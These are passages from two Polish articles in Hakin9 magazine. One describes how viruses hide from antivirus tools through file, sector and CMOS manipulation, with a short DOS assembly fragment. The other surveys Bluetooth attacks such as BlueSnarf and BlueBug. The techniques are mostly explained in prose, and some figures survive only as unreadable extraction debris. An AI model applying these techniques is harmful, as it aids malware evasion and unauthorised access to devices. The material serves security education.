jądra systemu. Na przykład funkcji
714E
odpowiada funkcja
FindFirstFileA
, zaś
funkcji
714F
– funkcja
FindNextFileA
. Z
funkcji tych korzysta większość programów
działających w systemie Windows 95, m.
in. Eksplorator, a także różne programy
nakładkowe, np. Windows Commander 95.
Zatem przejęcie kontroli nad tymi funkcjami
pozwala na użycie techniki stealth również
w systemie Windows 95 (ze względów
oczywistych pomijam Windows XP). Adresy
powyższych funkcji można odczytać z pliku
KERNEL32.DLL, a uzyskane w ten sposób
offsety należy zmodyfikować poprzez
dodanie do nich adresu, pod którym
znajduje się KERNEL32.DLL w pamięci.
Niestety, odczytanie tego adresu w sposób
bezpośredni, bez używania funkcji API nie
jest takie łatwe. Pierwszy wirus dla Windows
95 (Bizatch lub inaczej Boza) korzysta
przy dostępie do funkcji systemowych
ze stałego adresu, zapamiętanego w
kodzie wirusa. Ze względu na to, że adres
ten zmienia się w różnych podwersjach
systemu Windows 95, należy przed jego
użyciem sprawdzić, czy rzeczywiście jest
on właściwy. Opis struktury FindData
zamieszczono w osobnej Ramce.
Podawanie oryginalnych
długości i zawartości plików
Aby w pełni oszukiwać system, należy
oprócz prawdziwych długości plików
podawać także ich prawdziwą zawartość.
W tym celu oprócz funkcji przeszukujących
zawartość katalogu trzeba kontrolować
funkcje służące do manipulowania
zawartością plików. Najprościej w
momencie otwierania pliku leczyć go, a w
chwili zamykania – ponownie infekować.
Powyższa metoda ma jednak kilka
niedociągnięć. Główną jej wadą jest
to, iż nie sprawdzi się ona na pewno
na dyskach zabezpieczonych przed
zapisem (klasycznym przykładem jest
tu płyta CD lub zabezpieczona przed
zapisem dyskietka). Należy też pamiętać,
iż użytkownik z pewnością zauważy
częste leczenie i ponowną infekcję plików,
gdyż wszelkie operacje dyskowe będą
przebłagały wolniej.
Powyższych wad nie posiada
natomiast metoda polegająca na tym,
aby w momencie odczytu dowolnego pliku
sprawdzać, czy jest to plik zainfekowany i w
locie leczyć go w pamięci, nie zmieniając
jednak jego obrazu na dysku. W efekcie
program odczytujący plik widzi jego
oryginalną, prawidłową zawartość, zaś
fizycznie plik nie jest zmieniany.
Napisanie procedury stosującej
powyższą metodę nie jest już jednak
zadaniem tak łatwym, jak w poprzednim
przypadku; należy rozważyć kilka
możliwości związanych z położeniem
wskaźnika zapisu/odczytu w stosunku do
początku pliku. Aby uprościć to zadanie,
często stosuje się zabieg polegający na
tym, że przy otwieraniu zainfekowanego
pliku zmniejsza się w wewnętrznych
strukturach DOS (tablica SFT opisana
poniżej) jego długość o rozmiar wirusa.
Wtedy jedynym obszarem pliku, którym
musi zająć się wirus, jest jego początek
(np. w przypadku nagłówka plików EXE
Uzyskiwanie informacji
o pliku na podstawie jego uchwytu
• MOV AX,1220h – weź adres tablicy JFT zawierającej numer SFT,
– opisującej plik podany w BX
• MOV BX,UchwytPliku – BX zawiera uchwyt (numer) pliku,
• INT 2Fh – wywołaj funkcję,
• MOV BL,ES:[DI] – weź numer tablicy SFT,
• MOV AX,1216h – weź adres tablicy SFT na podstawie numeru w BL,
• INT 2Fh – wywołaj funkcję, ES:DI wskazuje na tablicę SFT pliku.
Format podtablicy SFT
• 00-03 – Wskaźnik do następnej podtablicy,
• 04 – N – liczba plików w podtablicy,
• 06-40 – Opis pliku nr 1 w podtablicy (patrz następna tablica),
• 41-7B – Opcjonalnie – opis pliku nr 2 w podtablicy (i ewentualnie dalszych – po 3Bh bajtów.
Rysunek 2.
Spokojnie, to tylko dane
ATAK
28
HAKIN9 4/2008
KTO KIERUJE KOMPUTERAMI?
29
HAKIN9
4/2008
wirus powinien przywracać jego prawdziwą
zawartość), gdyż operacje odczytu nigdy
nie dojdą do dodanego na końcu pliku
wirusa.
Przy programowaniu wirusa
wykorzystującego technikę stealth
często przydatne są dwie wewnętrzne
funkcje DOS (
1216/1220/2F
), służące
do operowania na wewnętrznych
strukturach DOS, tzw. tablicach SFT
(ang. System File Table), zawierających
wszelkie informacje o otwartym pliku. W
systemie może istnieć kilka podtablic
SFT, połączonych w łańcuch. Dostęp
do zawartych w nich informacji o pliku
uzyskuje się na podstawie uchwytu pliku
zwracanego przez funkcje (
3D,6C/21
)
przy jego otwieraniu. Uchwyt ten podaje
się jako parametr funkcji (
1216/1220/2F
).
Po ich użyciu najpierw uzyskujemy adres
tzw. tablicy JFT (ang. Job File Table),
opisującej pliki otwarte w ramach danego
procesu. Na jej podstawie otrzymujemy
adres tablicy SFT opisującej dany plik.
Używa się do tego poniższej sekwencji
instrukcji (Ramka Uzyskiwanie informacji o
pliku na podstawie jego uchwytu)
Jak widać, infekowanie pliku jest
możliwe nawet przy jego zamykaniu.
Format podtablicy SFT oraz opis
pojedynczego pliku podano w osobnych
Ramkach.
Zamieszczony poniżej wirus stosuje
technikę semi-stealth w odniesieniu do
polecenia DIR i popularnych nakładek oraz
full stealth opartą na tablicach SFT.
Podawanie prawdziwej
zawartości sektorów
Oczywiście technikę stealth można
stosować także w przypadku odczytu
sektorów; należy przejąć obsługę funkcji
(
02/13
) oraz ewentualnie (
0A/13
). W
momencie próby odczytu zarażonego
MBR lub BOOT-sektora wirus podsuwa
programowi odczytującemu ich
oryginalną, nie zainfekowaną zawartość
(podobnie jak w przypadku plików,
sektory zainfekowane muszą być w
jakiś sposób oznaczone, żeby wirus
mógł je rozpoznać). Aby ustrzec się
przed programami umożliwiającymi
odświeżenie tablicy partycji lub BOOT-
sektora, można dodatkowo zabezpieczyć
sektory zawierające wirusa przed
zapisem poprzez przejęcie funkcji (
03/13
)
i ewentualnie (
0B/13
).
Fałszowanie sektorów na etapie
obsługi przerwań sprzętowych
W przypadku sektorów istnieje możliwość
zastosowania techniki tzw. hardware level
stealth, która jest rozszerzeniem metody
opisanej w poprzednim punkcie. Technika
ta polega na przechwyceniu odwołań
do dysków już na etapie przerwania
sprzętowego IRQ 14 (INT 76h) lub poprzez
przejęcie wywoływanej przez to przerwanie
funkcji (
9100/15h
), co umożliwia
oszukiwanie systemu na najniższym
poziomie programowym. Podczas obsługi
tego przerwania lub funkcji wirus może
odczytać z portów lFx dane o aktualnie
wykonywanej operacji i następnie, w razie
wykrycia odwołania np. do MBR, zmienić
rozkaz tak, aby odczytywać inny sektor,
zawierający kopię oryginalnej zawartości
MBR.
Sprawdzenie aktualnie wykonywanej
operacji polega na odczycie bajtu
z portu 1F7 (rejestr statusowy IDE) i
przetestowaniu bitów jego młodszej części.
Jeżeli któryś z nich jest ustawiony (tzn.
ma wartość l), oznacza to, iż właśnie jest
wykonywana operacja odczytu. Parametry
odczytywanego sektora (cylinder, głowicę,
sektor) można odczytać z portów 1F3, 1F4/
1F5/1F6. Jeżeli odczytane dane są zgodne
z oczekiwanymi, wirus musi wykonać do
końca operację odczytu oraz ustawić dane
w portach kontrolera na inny sektor (np.
na taki, w którym znajduje się oryginalna
zawartość odczytywanego sektora).
W efekcie program antywirusowy,
który używa do odczytu sektorów
bezpośredniego adresu przerwania int
13h, zawartego w BIOS-ie, i tak będzie
oszukiwany przez wirusa. Aby technika
Opis pliku zawarty w tablicy SFT
• 00-01 – Liczba łączników do pliku,
• 02-03 – Tryb,
• 04 – Atrybut pliku,
• 05-06 – Informacja o pliku,
• 07-0A – Wskaźnik do nagłówka programu obsługi lub do bloku DPB (Drive Parameter Block),
• 0B-0C – Pierwsza JAP pliku,
• 0D-0E – Czas ostatniej modyfikacji pliku,
• 0F-11 – Data ostatniej modyfikacji pliku,
• 11-14 – Rozmiar pliku,
• 15-18 – Aktualna pozycja wskaźnika odczytu/zapisu pliku,
• 19-1A – Względny numer JAP,
• 1B-1E – Położenie elementu katalogu opisującego plik,
• 20-2A – Nazwa i rozszerzenie pliku,
• 2B-2E – Wskaźnik do poprzedniego elementu SFT (pole programu SHARE),
• 2F-30 – Numer komputera w sieci (pole programu SHARE),
• 31-32 – Adres właściciela pliku (jego PSP – Program Segment Prefix),
• 33-34 – Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu
SHARE),
• 35-36 – Numer JAP,
• 37-3A – Wskaźnik do sterownika IFS (Installable File System) pliku lub 00000000h.
UWAGA!
Niektóre fragmenty szkodliwego kodu zawarte w artykule, uruchomione bezpośrednio na Twoim
komputerze, mogą uszkodzić dane – należy zachować ostrożność podczas eksperymentów z
przedstawionym w tekście malware.
Rysunek 3.
Walczymy z wirusami
ATAK
ATAK
28
HAKIN9 4/2008
KTO KIERUJE KOMPUTERAMI?
29
HAKIN9
4/2008
hardware level stealth zadziałała, sterownik dysku
musi generować przerwanie IRQ14 (co można ustawić
programowo) przy realizacji operacji dostępu do dysku.
Modyfikacja CMOS-u
Nowoczesne BIOS-y zawierają mechanizmy
zabezpieczania niektórych newralgicznych sektorów
przed zapisem (MBR, BOOT-sektory). W momencie
wykrycia próby zapisu do któregoś z tych sektorów
system najczęściej w określony sposób alarmuje
użytkownika i czasem prosi go o potwierdzenie
wykonywanej operacji lub też, aby kompletnie
uniemożliwić tę operację, zawiesza komputer i czeka na
naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu
do newralgicznych sektorów, ustalane jest zwykle z
poziomu programu SETUP, który dostępny jest po
naciśnięciu pewnego klawisza (najczęściej [Delete]
lub [Ctrl+Alt+Esc]) podczas uruchamiania komputera.
Ustalone w programie SETUP parametry są po jego
opuszczeniu zapisywane do podtrzymywanej baterią
pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest
programowo, można zmodyfikować określone dane
– tak, aby np. na chwilę odblokować zapis do MBR.
Wymaga to jednak znajomości różnych systemów
BIOS, gdyż znajdująca się w nich pamięć CMOS
ma zazwyczaj zawartość odmienną od pamięci w
innych komputerach, a jej zgodność ogranicza się
do ustalonego znaczenia początkowych komórek
tej pamięci (co jest konieczne ze względu na
kompatybilność).
Drugim parametrem możliwym do zmodyfikowania
w CMOS-ie jest wartość określająca, jakie napędy
dyskietek zamontowane są w komputerze. Wirus może
wyzerować tę wartość – tak, iż przy starcie BIOS nie
będzie widział żadnej dyskietki i będzie próbował
załadować system z twardego dysku (z MBR), razem
ze znajdującym się w nim wirusem. Po załadowaniu
wirus przywraca parametry dyskietek w CMOS-ie i
następnie sprawdza, czy napęd FDD zawiera dyskietkę
i ewentualnie wczytuje z niej BOOT-sektor, po czym
oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach
do dyskietek ustawia parametry w CMOS-ie, a po ich
zakończeniu znowu je kasuje, tak więc po wyłączeniu
komputera parametry w CMOS-ie będą najczęściej
skasowane. Takie działanie dość mocno utrudni
załadowanie systemu z czystej dyskietki, zwłaszcza jeśli
wirus potrafi także zainstalować w pamięci CMOS hasło,
uniemożliwiające przeciętnemu użytkownikowi dostanie
się do programu SETUP.
Rafał Podsiadły
Informatyk, administrator, serwisant sprzętu i programów. Autor fascynuje się
programowaniem, szczególnie C++ oraz nowymi technologiami.
Kontakt z autorem: rafalpa@interia.pl
30
HAKIN9
ATAK
4/2008
T
echnologia Bluetooth jest kontynuacją
takich interfejsów jak IRDA czy FastIRDA .
W stosunku do swoich młodszych braci
nie jest konieczne, aby elementy nadawczo-
odbiorcze urządzeń były wzajemnie widoczne
i umieszczone maksymalnie blisko siebie.
Dodatkowo technologia Bluetooth zapełnia
tworzenie mini-sieci wielu urządzeń, co nie było
możliwe w przypadku technologii IRDA .
Co to jest Bluetooth?
Bluetooth to standard technologii
bezprzewodowej, opracowany przez
konsorcjum SIG, w skład którego weszły m.
in. firmy Ericsson, Nokia, IBM, Motorola, Intel
i Toshiba. Technologia Bluetooth korzysta z
sygnałów radiowych o niewielkim zasięgu
w celu umożliwienia komunikacji pomiędzy
takimi urządzeniami, jak telefony komórkowe,
komputery przenośne czy inne podręczne
urządzenia. Technologia może być zastosowana
niemal w dowolnym urządzeniu elektronicznym,
jak np. sprzęt gospodarstwa domowego,
urządzenia elektroniczne w samochodzie,
elektronika domowa, telefony komórkowe,
urządzenia PDA czy wreszcie stacjonarne
wyposażenie biurowe. Pierwsza, obejmująca
1500 stron specyfikacja, została opublikowana
przez SIG w 1999 roku, a została zatwierdzona
przez grupę standaryzacyjną IEEE trzy lata
później.
MARIAN WITKOWSKI
Z ARTYKUŁU
DOWIESZ SIĘ
jakie niebezpieczeństwa
niesie ze sobą nieumiejętnie
korzystanie z technologii
Bluetooth,
jak prostymi metodami
zminimalizować ryzyko
nieautoryzowanego dostępu do
urządzeń wyposażonych
w Bluetooth.
CO POWINIENEŚ
WIEDZIEĆ
jak zainstalować moduł BT
w komputerze,
jak korzystać z modułu BT
w telefonie/PDA,
mieć rozeznianie w korzystaniu
z usług GSM (SMS, MMS,
aplikacje Java/Symbian).
Jako ciekawostkę należy przytoczyć, że
nazwa technologii pochodzi od przydomka króla
duńskiego Haralda Sinozębego, który w X wieku n.
e. podporządkował sobie Norwegię i tym samym
przyczynił się do zjednoczenia rywalizujących
plemion z Danii i Norwegii. Tak więc istotą
Bluetooth’a jest łączyć i umożliwiać komunikację
urządzeń o różnym przeznaczeniu.
Bluetooth został zaprojektowany do
komunikacji na stosunkowo niewielkie
odległości – do 10 metrów, jednak obecnie
zasięg w zależności od klasy urządzenia jest
zmienny i może wynosić:
Niezależnie od wyżej wymienionych
danych, możliwe jest uzyskanie za pomocą
odpowiednich konstrukcji anten nadawczo-
odbiorczych większego zasięgu, który może
zostać wykorzystany (niestety) przy ewentualnej
próbie nieautoryzowanego dostępu.
Bluetooth zapewnia nam szybszą transmisję
danych niż ma to miejsce w przypadku
interfejsu IRDA . W zależności od wersji interfejsu
może ona wynosić: dla Bluetooth w wersji 1.0,
1.1, 1.2 – 721 kb/s, dla wersji 2.0 – do 2 Mb/s,
a z obsługą EDR (Enhanced Data Rate) – aż do
3 Mb/s.
Architektura Bluetooth
Urządzenia wykorzystujące technologię Bluetooth
łączą się w tzw. pikosieci (ang. piconet). W ramach
takiego układu może istnieć jeden węzeł typu
Stopień trudności
Hakowanie
Bluetooth
Do niedawna wielu z nas wydawało się, że ostatnim 'ogniwem'
mobilności w przypadku telefonii są telefony komórkowe. Jednak
w miarę odkrywania nowych możliwości zastosowań tego typu
sprzętu nie tylko do typowej komunikacji głosowej, rozwinęły się
technologie, w których komórka jest tylko elementem łączącym
ogniwa łańcucha komunikacyjnego, a sieć GSM – jednym z
dostępnych sposobów na przekazywanie informacji.
31
HAKIN9
HAKOWANIE BLUETOOTH
4/2008
Master oraz maksymalnie 7 węzłów typu
Slave. Maksymalna pojemność pikosieci
to 255 węzłów – jednakże urządzenia
podłączone do tych węzłów znajdują się w
trybie synchronizacji z węzłem Master i nie
uczestniczą w aktywnej wymianie informacji.
Wymiana danych w pikosieci występuje
tylko między węzłem Master oraz Slave.
Możliwe jest łączenie pikosieci – w takim
przypadku jeden z węzłów typu Slave ma
możliwość komunikacji z dwoma węzłami
typu Master. Taki mostek sieciowy nosi
nazwę scatternet.
Szum w eterze,
czyli warstwa radiowa
Jako technologia bezprzewodowa,
Bluetooth wykorzystuje emisję radiową
o małej mocy w paśmie 2,4 GHz. Dane
są transmitowane w pakietach, z których
każdy jest nadawany i odbierany na innej
częstotliwości. Dla technologii Bluetooth
minimalna częstotliwość pracy wynosi
2402 MHz, a maksymalna – 2480 MHz.
Pasmo to podzielono na 79 kanałów
oddalonych od siebie o 1 MHz. Przeskoki
między częstotliwościami odbywają się
1600 razy na sekundę, tak więc czas pracy
na jednym kanale (tzw. Time Slot) wynosi
625 mikrosekund. System wykorzystuje
modulację FSK (Frequency Shift Keying).
Skoki częstotliwości determinowane
są przez węzeł Master. Niestety, w tym
samym paśmie pracują również sieci
bezprzewodowe w standardzie 802.11,
co wpływa na możliwość interferencji
sygnałów. Jednak z uwagi na to, że skoki
częstotliwości są szybsze dla Bluetooth’a,
to właśnie on będzie w większym stopniu
zakłócał transmisję sieci 802.11. Aby
przeciwdziałać tego typu problemom,
interfejsy Bluetooth wyposażane są
w mechanizm Adaptive Frequency
Hopping (AFH), który unika połączeń na
interferujących kanałach.
Warstwy Bluetooth
Interfejs Bluetooth został stworzony
z wykorzystaniem wielu protokołów..
Poszczególne elementy stosu protokołów
podzielono na trzy grupy logiczne:
• grupę protokołów transportowych,
• grupę protokołów pośredniczących,
• grupę aplikacji.
Protokoły transportowe umożliwiają
urządzeniom Bluetooth wzajemne
lokalizowanie się oraz tworzenie,
konfigurowanie i zarządzanie zarówno
fizycznymi, jak i logicznymi połączeniami.
W skład protokołów grupy wchodzą
protokoły radiowe, pasma podstawowego,
menedżera połączenia, połączenia
logicznego i adaptacji oraz interfejsu
kontrolera hosta HCI (Host Controller
Interface). Protokoły transportowe w
odniesieniu do modelu OSI nie znajdują
się jednak w warstwie transportowej, a w
warstwie fizycznej oraz warstwie łącza.
Protokoły pośredniczące zawierają
zarówno protokoły oraz standardy
przemysłowe, jak i protokoły opracowane
przez SIG specjalnie z myślą o
bezprzewodowej komunikacji Bluetooth.
Do tych pierwszych należy zaliczyć
protokoły związane z Internetem
(PPP, IP, TCP itp.), protokoły aplikacji
bezprzewodowych, protokoły przesyłania
obiektów adaptowane ze standardu IrDA .
Do kolejnego zestawu należą protokoły
zaprojektowane specjalnie dla komunikacji
i pozwalające innym aplikacjom na
korzystanie z połączeń Bluetooth. Oto one:
• protokół emulacji portu szeregowego
(RFCOMM),
Rysunek 1.
Urządzenia wykorzystujące interfejs Bluetooth
�������������
���������
����������
�������������������
������������
�����������������
�����������������
�����������������
����������������
���������������
����������
ATAK
32
HAKIN9 4/2008
HAKOWANIE BLUETOOTH
33
HAKIN9
4/2008
• protokół sygnalizacyjny połączeń
pakietowych, umożliwiający
sterowanie funkcjami telefonicznymi
(TCS),
• protokół wyszukiwania usług (SDP)
pozwala urządzeniom rozpoznawać
funkcje innych urządzeń
• protokół współpracy z aplikacjami w
standardzie IrDA.
Grupa aplikacji składa się z modułów
umożliwiających bezpośrednią
komunikację z innymi urządzeniami na
poziomie aplikacyjnym, np. sterowanie
komendami modemu, przesyłanie
wizytówek (vCard) czy dostęp do
protokołu WAP.
Barwy obronne
Interfejs Bluetooth oferuje pracę w różnych
trybach bezpieczeństwa:
• Tryb 1 – niechroniony. W trybie tym
nie wykorzystuje się szyfrowania ani
uwierzytelnienia, a samo urządzenie
działa w trybie niedyskryminacyjnym,
przykładowo w trybie nadawania lub
odbierania.
• Tryb 2 – oparty na aplikacji/usłudze
(L2CAP). W trybie tym po nawiązaniu
połączenia Security Manager
przeprowadza uwierzytelnienie, co
ogranicza dostęp do urządzenia.
• Tryb 3 – uwierzytelnianie w oparciu
o PIN/szyfrowane adresy MAC.
Uwierzytelnienie dokonywane jest
przed nawiązaniem połączenia.
Jakość użytych kodów PIN rzutuje na poziom
bezpieczeństwa. Kod PIN może mieć od
1 do 16 bajtów, aczkolwiek zazwyczaj ma
on długość 4 bajtów. Do wygenerowania
pierwszego klucza – tzw. Link Key – o
długości 16 bajtów wykorzystywany jest
algorytm E2. Na podstawie tego klucza
generowany jest klucz szyfrowania. Link Key
używany jest do uwierzytelniania połączenia,
a drugi klucz – do szyfrowania danych.
Uwierzytelnianie pomiędzy urządzeniami
wygląda następująco:
• Urządzenie inicjujące wysyła najpierw
swój adres (BD_ADDR). 48-bitowy
adres jest unikatowy i jest podobny
do adresu MAC.
• W odpowiedzi wysyłany jest
wybierany losowo 128-bitowy ciąg
(AU_RAND).
• W oparciu o BD_ADDR, Link Key oraz
AU_RAND oba urządzenia generują
ciąg SRES.
• Urządzenie inicjujące wysyła swój
SRES.
• Drugie urządzenie porównuje
otrzymany SRES ze swoim własnym,
a w przypadku zgodności obu ciągów
połączenie zostaje nawiązane.
Na podstawie wartości BD_ADDR,
AU_RAND oraz SRES, możliwe jest
zdekodowanie kodu PIN.
Jak każda cyfrowa technologia
bezprzewodowa, tak i Bluetooth został
wyposażony w mechanizmy (mniej lub
bardziej skuteczne) do zapewnienia
bezpiecznej transmisji pomiędzy
urządzeniami w niego wyposażonymi.
Należą do nich:
• 'Parowanie' urządzeń – mechanizm
ten polega na tym, że aby
dany interfejs Bluetooth został
dopuszczony do węzła pikosieci przed
rozpoczęciem transmisji, musi zostać
ustalony klucz autoryzacyjny z węzłem
typu Master – jest to zazwyczaj PIN
o długości 4-16 znaków. Niestety,
niektóre urządzenia wyposażone
w Bluetooth mają wprowadzone
domyślnie kody takie, jak 0000 czy
1234, co skutecznie wpływa na
obiżenie poziomu bezpieczeństwa.
• Uwierzytelnianie za pomocą
algorytmu SAFER+. Niestety, w 2005
roku Yaniv Shaked i Avishai Wool
z Izraela opracowali mechanizm
łamania PINu wykorzystujący cechy
algorytmu SAFER+ (4-cyfrowy PIN
w 0,063 sekundy, a 7-cyfrowy w 76
sekund).
• Szyfrowanie połączeń z
wykorzystaniem algorytmu E0.
Niestety, w 2005 roku odzyskano klucz
szyfrujący z E0 przy 238 operacjach
znając pierwsze 24 bity klucza i
posiadając 223.8 ramek ruchu.
• Włączanie trybu ukrywania urządzenia
wyposażonego w Bluetooth. Niestety,
tryb ten nie powoduje dezaktywacji
usług, a jedynie odrzucanie żądań
wysyłanych przez SDP innego
interfejsu Bluetooth.
• Mały zasięg. Niestety, dostępne
anteny kierunkowe pozwalają obecnie
na zwiększenie zasięgu do kilkuset
metrów.
• Częste przeskoki międzykanałowe.
Skorzystano z istniejącej już techniki
rozpraszania widma sygnału z
przeskokiem częstotliwości (Spread
Spectrum with Frequency Hopping).
Niestety, dostępne analizatory widma
pozwalają przynajmniej na podsłuch
transmisji – choć jej analiza jest
trudna i być może nieopłacalna.
Choć powyższy opis mechanizmów
bezpieczeństwa jest dość defetystyczny,
to nie powinno nas to zniechęcać do
korzystania z technologii Bluetooth.
Ataki Bluetooth
Przyznam się szczerze, że problem
ten dotknął mnie osobiście 2 lata
Rysunek 2.
Scatternet
����������
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�������
�������
�������
Tabela 1.
Klasy urządzeń bluetooth
Klasa urządzenia
Moc
Zasięg
1
100 mW
do 100 m
2
2,5 mW
Do 10 m
3
1 mW
Do 1 m.
ATAK
32
HAKIN9 4/2008
HAKOWANIE BLUETOOTH
33
HAKIN9
4/2008
temu. Pracowałem w firmie zajmującej
się integracją usług SMSowych oraz
dostarczającej treści multimedialnych
do telefonów komórkowych. Przez
większość czasu moja Nokia 3650 miała
włączony interfejs Bluetooth z uwagi
na konieczność testowania różnego
rodzaju usług i aplikacji mobilnych.
Jakież było moje zdziwienie, gdy
pewnego razu wchodząc do jednego
z warszawskich hoteli, usłyszałem
dzwonek informujący o nadejściu
SMSa, a na ekranie komórki pojawił
się monit z pytaniem o rozpoczęcie
pobierania pliku z rozszerzeniem SIS
(w ten sposób dystrybuowane są
aplikacje Symbian). Zdaje się, ze jakiś
nieszczęśnik posiadający zainfekowany
telefon, nieświadomie próbował infekować
inne aparaty. Od tego czasu Bluetooth
włączam tylko wtedy, gdy jest to konieczne.
Po tym, nieco osobistym, wstępie
przyjrzyjmy się możliwym sposobom
ataków z wykorzystaniem interfejsu
Bluetooth.
Robaki, wirusy i trojany
Bluetooth sam w sobie może zostać
użyty jako transporter wszelkiego rodzaju
złośliwego oprogramowania, które –
summa summarum – spowodować może
w naszym telefonie takie niepożądane
działania, jak: szybsze rozładowanie
baterii poprzez dużą aktywność
Bluetootha (próba infekcji kolejnych
urządzeń), rozsyłanie wiadomości SMS
do osób z książki adresowej czy łączenie
z numerami o podwyższonej taryfikacji.
Klasycznym przykładem takiego robaka
jest Mabir.A , który po odebraniu SMSa
lub MMSa wysyła pod numer nadawcy
wiadomość MMS zawierającą własną
kopię. Na szczęście coraz więcej firm
zajmujących się ochroną antywirusową
ma w swojej ofercie oprogramowanie do
detekcji i usuwania wirusów instalujących
się w telefonach GSM czy PDA .
Przykładem takiej aplikacji jest Kaspersky
Anti-Virus Mobile.
BlueSnarf
BlueSnarf jest prawdopodobnie
najpopularniejszym atakiem Bluetooth.
Odkryty został przez Marcela Holtmanna
w październiku 2003. Wykorzystuje błąd
implementacji mechanizmu wymiany
wizytówek w niektórych telefonach
Nokia i Sony Ericsson. Atakujący
wykorzystuje mechanizm OBEX Push
Profile (OPP), zaprojektowany w celu
wymiany wizytówek i innych obiektów.
W większości przypadków usługa ta nie
wymaga uwierzytelniania. Atak BlueSnarf
polega na wysłaniu żądania OBEX GET
dla znanych powszechnych plików, takich
jak telecom/pb.vcf (książka telefoniczna)
lub telecom/cal.vcs (kalendarz). Jeżeli
oprogramowanie urządzenia nie zostało
zaimplementowane poprawnie, agresor
może uzyskać dostęp do wszystkich
plików (zdjęcia, pliki, kalendarz)
zapisanych na atakowanym urządzeniu.
BlueBug
BlueBug – zaprezentowany przez Martina
Herfurta w marcu 2004 – pozwala na
wykonanie nieautoryzowanych czynności
na urządzeniu z włączonym Bluetooth’em
przy użyciu ukrytych kanałów RFCOMM,
udostępniających komendy AT. Niektóre
telefony pozwalają na wydanie poleceń
AT (komend modemu), przez co agresor
może przejąć całkowitą kontrolę nad
telefonem – ma dostęp do połączeń
telefonicznych, SMSów, książki adresowej,
konfiguracji telefonu.
HeloMoto
HeloMoto – jak nietrudno się domyśleć,
bug ten spotykany jest w niektórych
Rysunek 3.
Warstwy Bluetooth
����������
����
���
���
���
���
��
���
�����
��������
�������
���
�����
���
��������
���������������
�������������������������
�����
������
ATAK
34
HAKIN9 4/2008
HAKOWANIE BLUETOOTH
35
HAKIN9
4/2008
telefonach Motorola, takich jak V80, V5xx,
V6xx czy E398. Atak ten wykorzystuje
niewłaściwą obsługę mechanizmu
'zaufanych urządzeń Bluetooth' i jest
połączeniem ataków BlueSnarf oraz
BlueBug. Agresor rozpoczyna połączenie
z wykorzystaniem profilu OBEX Push
Profile, po czym przerywa proces i zostaje
automatycznie dodany do zaufanych
urządzeń na liście atakowanego telefonu
– teraz wystarczy zainicjować połączenie z
warstwą RFCOMM, aby otrzymać dostęp
do komend AT telefonu.
BlueSmack
BlueSmack jest rodzajem ataku DoS.
Atakowana jest tu warstwa L2CAP.
Działanie polega na tym, iż na poziomie
L2CAP możliwe jest zażądanie
odpowiedzi innego urządzenia Bluetooth.
Podobnie jak w przypadku komunikatu
ping dla ICMP, jego zadaniem dla
L2CAP jest zbadanie dostępności oraz
prędkości nawiązywania połączenia. W
przypadku odpowiednio dużego pakietu
danych wysyłanych w kierunku L2CAP
nastąpi przepełnienie bufora i odmowa
dostępu do usługi.
Blueprinting
Blueprinting jest techniką pozwalającą
na uzyskaniu informacji o urządzeniach z
włączonym interfejsem Bluetooth. Każde
takie urządzenie posiada unikatowy
adres składający się z 6 bajtów, a jego
ma forma jest podobna do adresów
MAC: MM:MM:MM:XX:XX:XX
. Pierwsze
trzy bajty adresu (oznaczone literą M)
zawierają informacje o producencie
chipsetu. Dodatkowo, wykorzystując
mechanizm SDP, istnieje możliwość
pobrania informacji o rodzaju usług
oferowanych przez aktywne interfejsy
Bluetooth. Na tej podstawie może zostać
dokonana identyfikacja urządzenia, co
jest zazwyczaj wstępną czynnością przed
właściwym atakiem z wykorzystaniem
innych opisanych tu technik.
BlueSnarf++
BlueSnarf++ jest rozwinięciem ataku
BlueSnarf, pozwalającym nie tylko na
odczyt plików ze zdalnego urządzenia,
ale także na zapis na nim danych.
Konieczne jest w takim przypadku, aby na
atakowanym urządzeniu był uruchomiony
Rysunek 5.
Algorytm uwierzytelniania
����������������������
����������
���������
�������
����������������������
��������������
�����
�������
�������
���
����
���
���
���
��������������
��������������
���������������
��������
�����
������
�������������
��������
�
�
��������
�
�
������
����������
��
Rysunek 4.
Algorytm generowania kluczy
����������������������
����������������������
���
���
�����
��������
�����
��������
�����
�����������
�����
�����������
�������������
�����������
�������������
����������������
�������������������
���������
������������������������
�������������
���������
�������������������������������
���������������������������
������������������������
����������������
�
�
�
�
�
�
�
�
ATAK
34
HAKIN9 4/2008
HAKOWANIE BLUETOOTH
35
HAKIN9
4/2008
serwer OBEX FTP, do którego agresor
łączy się z wykorzystaniem profilu OBEX
Push bez konieczności parowania
urządzeń. W ten sposób atakujący
otrzymuje uprawnienia do przeglądania,
jak i modyfikacji czy usuwania wszelkich
zasobów plikowych. Obejmuje to również
możliwość nieautoryzowanego dostępu
do takich elementów urządzenia, jak karty
pamięci, które zazwyczaj widoczne są w
systemie plików jako katalogi.
BlueBump
BlueBump jest techniką ataku, w którym
wcześniej pomiędzy urządzeniami
Bluetooth musi zostać nawiązane
zaufane połączenie. Po uzyskaniu
takowego, urządzenie atakujące
podtrzymuje połączenie, lecz prosi
ofiarę o usunięcie klucza Link Key dla
aktywnego połączenia i wygenerowanie
nowego klucza. Wynikiem takiej
operacji jest możliwość nawiązywania
kolejnych połączeń bez konieczności
ponownej autoryzacji. Do skutecznego
przeprowadzenia tego typu ataku
konieczne są operacje socjotechniczne,
mające na celu nakłonienie użytkownika
urządzenia-ofiary do nawiązania
inicjalnego połączenia.
BlueDump
BlueDump opiera się o technikę
spoofingu, gdzie agresor musi znać
Bluetooth Device Address obydwu
sparowanych urządzeń. Po podszyciu się
pod adres jednego z urządzeń, możliwe
jest połączenie z drugim urządzeniem
z pary. Bluetooth atakującego nie
posiada jednak klucza Link Key,
więc gdy urządzenie ofiary zażąda
uwierzytelniania, urządzenie agresora
odpowie komunikatem HCI_Link_Key_
Request_Negative_Reply. Może to
niekiedy spowodować usunięcie klucza
Link Key w atakowanym urządzeniu
i rozpoczęcie na nowo procedury
parowania.
BlueChop
BlueChop wykorzystuje również
technikę spoofingu, lecz jego działanie
polega na zakłócaniu pracy urządzeń
w pikosieci. Atak bazuje na tym, że
węzeł Master pikosieci obsługuje
wielokrotne połączenia, które mogą
posłużyć do utworzenia rozszerzonej
sieci (scatternet). Agresor przedstawia
się adresem losowego wybranego
urządzenia będącego składnikiem
pikosieci i łączy się z jednostką
